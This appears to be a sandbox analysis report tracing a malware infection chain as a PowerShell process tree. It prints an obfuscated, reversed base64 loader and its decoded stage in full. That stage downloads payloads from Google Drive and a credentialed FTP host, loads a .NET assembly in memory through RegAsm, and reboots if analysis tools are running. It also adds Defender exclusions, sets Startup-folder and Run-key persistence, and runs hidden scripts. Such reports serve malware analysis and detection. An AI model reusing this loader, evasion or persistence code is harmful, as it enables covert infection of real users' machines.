[char]66 + '8ACAAdg' + [char]66 + 'YAFUAVg' + [char]66 + 'SACQAOwAgACkAIA' + [char]66 + 'zAGsAcA' + [char]66 + 'zAGYAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAAgAD0AIA' + [char]66 + '2AFgAVQ' + [char]66 + 'WAFIAJAA7ACAAKQ' + [char]66 + 'xAEcAbA' + [char]66 + 'sAGwAJAAgACwAUA' + [char]66 + 'SAHIAag' + [char]66 + 'PACQAKA' + [char]66 + 'sAGEAaQ' + [char]66 + '0AG4AZQ' + [char]66 + 'kAGUAcg' + [char]66 + 'DAGsAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'lAE4ALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8ALQ' + [char]66 + '3AGUAbgAgAD0AIA' + [char]66 + 'zAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALg' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAdwAkADsAIA' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACAAPQAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAOwAgACkAKQAgADQANgAgACwANAA2ACAALAA0ADYAIAAsADQANgAgACwANAA2ACAALAA0ADYAIAAsADYANQAgACwANQA1ACAALAAzADUAIAAsADkANAAgACwAOQA4ACAALAAwADAAMQAgACwANwAxADEAIAAsADkAOAAgACwAMgAwADEAKA' + [char]66 + 'dAF0AWw' + [char]66 + 'yAGEAaA' + [char]66 + 'jAFsAIA' + [char]66 + 'uAGkAbw' + [char]66 + 'qAC0AKAAgAD0AIA' + [char]66 + 'xAEcAbA' + [char]66 + 'sAGwAJAA7ACAAKQApADkANAAsADYAMQAxACwANwA5ACwANAAxADEALAA4ADkALAA4ADEAMQAsADcAMAAxACwAOQA5ACwANQAxADEALAAxADAAMQAsADAAMAAxACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgAIAA9ACAAUA' + [char]66 + 'SAHIAag' + [char]66 + 'PACQAOwApACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'RAEcAcA' + [char]66 + 'lAEkAJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8AJwAgACsAIAAnAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC4AcA' + [char]66 + '0AGYAQAAxAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcA' + [char]66 + '0AGYAJwAoACAAPQAgAHMAaw' + [char]66 + 'wAHMAZgAkADsAfQAgAAoADQA7AHQAaQ' + [char]66 + '4AGUAIAAgACAAIAAgACAACgANADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgAHIAZQ' + [char]66 + '0AHUAcA' + [char]66 + 'tAG8AQwAtAHQAcg' + [char]66 + 'hAHQAcw' + [char]66 + 'lAFIACgANACAAew' + [char]66 + 'lAHMAbA' + [char]66 + 'lAAoADQAKAA0AfQAKAA0AIAAgACAAIAAgACAAIAAKAA0AIA' + [char]66 + '7ACkAbA' + [char]66 + 'sAHUATgAkACAAcQ' + [char]66 + 'lAC0AIAApAGUAdQ' + [char]66 + 'uAGkAdA' + [char]66 + 'uAG8AQw' + [char]66 + '5AGwAdA' + [char]66 + 'uAGUAbA' + [char]66 + 'pAFMAIA' + [char]66 + 'hAGUALQAgACcAZQ' + [char]66 + '6AHkAbA' + [char]66 + 'hAG4AYQAnACwAJw' + [char]66 + 'TAE4ARA' + [char]66 + 'lAHQAYQ' + [char]66 + 'wAGEAJwAsACcAaw' + [char]66 + 'yAGEAaA' + [char]66 + 'zAGUAcg' + [char]66 + 'pAFcAJwAgAHMAcw' + [char]66 + 'lAGMAbw' + [char]66 + 'yAHAALQ' + [char]66 + '0AGUAZwAoACgAZg' + [char]66 + 'pADsAIAAyADEAcw' + [char]66 + 'sAFQAOgA6AF0AZQ' + [char]66 + 'wAHkAVA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGwAbw' + [char]66 + 'jAG8AdA' + [char]66 + 'vAHIAUA' + [char]66 + '5AHQAaQ' + [char]66 + 'yAHUAYw' + [char]66 + 'lAFMAOgA6AF0Acg' + [char]66 + 'lAGcAYQ' + [char]66 + 'uAGEATQ' + [char]66 + '0AG4AaQ' + [char]66 + 'vAFAAZQ' + [char]66 + 'jAGkAdg' + [char]66 + 'yAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACAAfQ' + [char]66 + 'lAHUAcg' + [char]66 + '0ACQAewAgAD0AIA' + [char]66 + 'rAGMAYQ' + [char]66 + 'iAGwAbA' + [char]66 + 'hAEMAbg' + [char]66 + 'vAGkAdA' + [char]66 + 'hAGQAaQ' + [char]66 + 'sAGEAVg' + [char]66 + 'lAHQAYQ' + [char]66 + 'jAGkAZg' + [char]66 + 'pAHQAcg' + [char]66 + 'lAEMAcg' + [char]66 + 'lAHYAcg' + [char]66 + 'lAFMAOgA6AF0Acg' + [char]66 + 'lAGcAYQ' + [char]66 + 'uAGEATQ' + [char]66 + '0AG4AaQ' + [char]66 + 'vAFAAZQ' + [char]66 + 'jAGkAdg' + [char]66 + 'yAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWw' + [char]66 + '7ACAAZQ' + [char]66 + 'zAGwAZQ' + [char]66 + '9ACAAZgAvACAAMAAgAHQALwAgAHIALwAgAGUAeA' + [char]66 + 'lAC4Abg' + [char]66 + '3AG8AZA' + [char]66 + '0AHUAaA' + [char]66 + 'zACAAOwAnADAAOAAxACAAcA' + [char]66 + 'lAGUAbA' + [char]66 + 'zACcAIA' + [char]66 + 'kAG4AYQ' + [char]66 + 'tAG0Abw' + [char]66 + 'jAC0AIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAKQAgACcAcA' + [char]66 + '1AHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAbQ' + [char]66 + 'hAHIAZw' + [char]66 + 'vAHIAUA' + [char]66 + 'cAHUAbg' + [char]66 + 'lAE0AIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAHcAbw' + [char]66 + 'kAG4AaQ' + [char]66 + 'XAFwAdA' + [char]66 + 'mAG8Acw' + [char]66 + 'vAHIAYw' + [char]66 + 'pAE0AXA' + [char]66 + 'nAG4AaQ' + [char]66 + 'tAGEAbw' + [char]66 + 'SAFwAYQ' + [char]66 + '0AGEARA' + [char]66 + 'wAHAAQQ' + [char]66 + 'cACcAIAArACAARg' + [char]66 + 'rAFcAcA' + [char]66 + '0ACQAIAAoACAAbg' + [char]66 + 'vAGkAdA' + [char]66 + 'hAG4AaQ' + [char]66 + '0AHMAZQ' + [char]66 + 'EAC0AIAAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAG0AZQ' + [char]66 + '0AEkALQ' + [char]66 + '5AHAAbw' + [char]66 + 'DACAAOwAgAHQAcg' + [char]66 + 'hAHQAcw' + [char]66 + 'lAHIAbw' + [char]66 + 'uAC8AIA' + [char]66 + '0AGUAaQ' + [char]66 + '1AHEALwAgAEIASA' + [char]66 + 'YAGgASAAgAGUAeA' + [char]66 + 'lAC4AYQ' + [char]66 + 'zAHUAdwAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAAgADsAKQAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJAAoACAAPQAgAEIASA' + [char]66 + 'YAGgASAA7ACkAIA' + [char]66 + 'lAG0AYQ' + [char]66 + 'OAHIAZQ' + [char]66 + 'zAFUAOgA6AF0AdA' + [char]66 + 'uAGUAbQ' + [char]66 + 'uAG8Acg' + [char]66 + 'pAHYAbg' + [char]66 + 'FAFsAIAArACAAJw' + [char]66 + 'cAHMAcg' + [char]66 + 'lAHMAVQ' + [char]66 + 'cADoAQwAnACgAIAA9ACAARg' + [char]66 + 'rAFcAcA' + [char]66 + '0ACQAOwApACAAKQAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJAAoACAALA' + [char]66 + '5AHIAbQ' + [char]66 + 'kAGcAJAAoAGUAbA' + [char]66 + 'pAEYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AbQ' + [char]66 + 'oAGcAZw' + [char]66 + '6ACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAG0AaA' + [char]66 + 'nAGcAegAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAG0AaA' + [char]66 + 'nAGcAegAkADsAfQA7ACAAKQAnAHcANQAwAFoAMQA4AHUAYwA3AFoATQ' + [char]66 + 'LADgAOA' + [char]66 + 'nAGUAdA' + [char]66 + 'oAGoAbg' + [char]66 + '' + [char]66 + 'AHAAagAxAEwAQgAtADQAeQ' + [char]66 + 'IAGEAYQAxACcAIAArACAAeQ' + [char]66 + 'yAG0AZA' + [char]66 + 'nACQAKAAgAD0AIA' + [char]66 + '5AHIAbQ' + [char]66 + 'kAGcAJA' + [char]66 + '7ACAAZQ' + [char]66 + 'zAGwAZQ' + [char]66 + '9ADsAIAApACcAVg' + [char]66 + 'FAFMAZA' + [char]66 + 'qAHcAVQA5ADUAUgAtAFcAcw' + [char]66 + 'ZAHUAWg' + [char]66 + 'MAGkAdw' + [char]66 + 'yAGIANQ' + [char]66 + 'ZAE4AUQAtAEgAag' + [char]66 + 'yAGIAMg' + [char]66 + 'wADEAJwAgACsAIA' + [char]66 + '5AHIAbQ' + [char]66 + 'kAGcAJAAoACAAPQAgAHkAcg' + [char]66 + 'tAGQAZwAkAHsAIAApACAAYg' + [char]66 + 'RAFUAaQ' + [char]66 + 'QACQAIAAoACAAZg' + [char]66 + 'pADsAIAApACcANAA2ACcAKA' + [char]66 + 'zAG4AaQ' + [char]66 + 'hAHQAbg' + [char]66 + 'vAEMALg' + [char]66 + 'FAFIAVQ' + [char]66 + 'UAEMARQ' + [char]66 + 'UAEkASA' + [char]66 + 'DAFIAQQ' + [char]66 + 'fAFIATw' + [char]66 + 'TAFMARQ' + [char]66 + 'DAE8AUg' + [char]66 + 'QADoAdg' + [char]66 + 'uAGUAJAAgAD0AIA' + [char]66 + 'iAFEAVQ' + [char]66 + 'pAFAAJAA7ACcAPQ' + [char]66 + 'kAGkAJg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAGQAPQ' + [char]66 + '0AHIAbw' + [char]66 + 'wAHgAZQA/AGMAdQAvAG0Abw' + [char]66 + 'jAC4AZQ' + [char]66 + 'sAGcAbw' + [char]66 + 'vAGcALg' + [char]66 + 'lAHYAaQ' + [char]66 + 'yAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAIAA9ACAAeQ' + [char]66 + 'yAG0AZA' + [char]66 + 'nACQAOwApACAAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAIAAoACAAbA' + [char]66 + 'lAGQAOwApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGoATQ' + [char]66 + 'PAHoASAAkAHsAIAApACAAeA' + [char]66 + 'DAGIAeA' + [char]66 + '2ACQAIAAoACAAZg' + [char]66 + 'pADsAIAApADIAKA' + [char]66 + 'zAGwAYQ' + [char]66 + '1AHEARQAuAHIAbw' + [char]66 + 'qAGEATQAuAG4Abw' + [char]66 + 'pAHMAcg' + [char]66 + 'lAFYALg' + [char]66 + '0AHMAbw' + [char]66 + 'oACQAIAA9ACAAeA' + [char]66 + 'DAGIAeA' + [char]66 + '2ACQAIAA7AA==';$mwxpv = $mwxpv.replace('уЦϚ' , 'B') ;;$ybsbt = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $mwxpv ) ); $ybsbt = $ybsbt[-1..-$ybsbt.Length] -join '';$ybsbt = $ybsbt.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\DocuSign01210021100.vbs');powershell $ybsbt
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $vxbCx = $host.Version.Major.Equals(2) ;if ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$gdmry = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $PiUQb ) {$gdmry = ($gdmry + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$gdmry = ($gdmry + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$zgghm = (New-Object Net.WebClient);$zgghm.Encoding = [System.Text.Encoding]::UTF8;$zgghm.DownloadFile($gdmry, ($HzOMj + '\Upwin.msu') );$tpWkF = ('C:\Users\' + [Environment]::UserName );HhXHB = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\DocuSign01210021100.vbs' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$fspks = ('ftp://[email protected]/Upcrypter' + '/01/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $fspks ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$sNwoM = ''C:\Users\Admin\AppData\Local\Temp\DocuSign01210021100.vbs'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''txt.b/moc.nucnacnegaminoc//:sptth'' , $sNwoM , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1204
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2368
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4640
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c mkdir "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\"
        5⤵
        
        PID:4648
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\vuwcw.ps1'"
        5⤵
        Hide Artifacts: Hidden Window
        Suspicious use of WriteProcessMemory
        
        PID:5044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\vuwcw.ps1'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\vuwcw.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2844
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1'"
        5⤵
        Hide Artifacts: Hidden Window
        Suspicious use of WriteProcessMemory
        
        PID:3772
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\rrimt.ps1"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1920
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\pesister.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\pesister.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\hrhdu.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
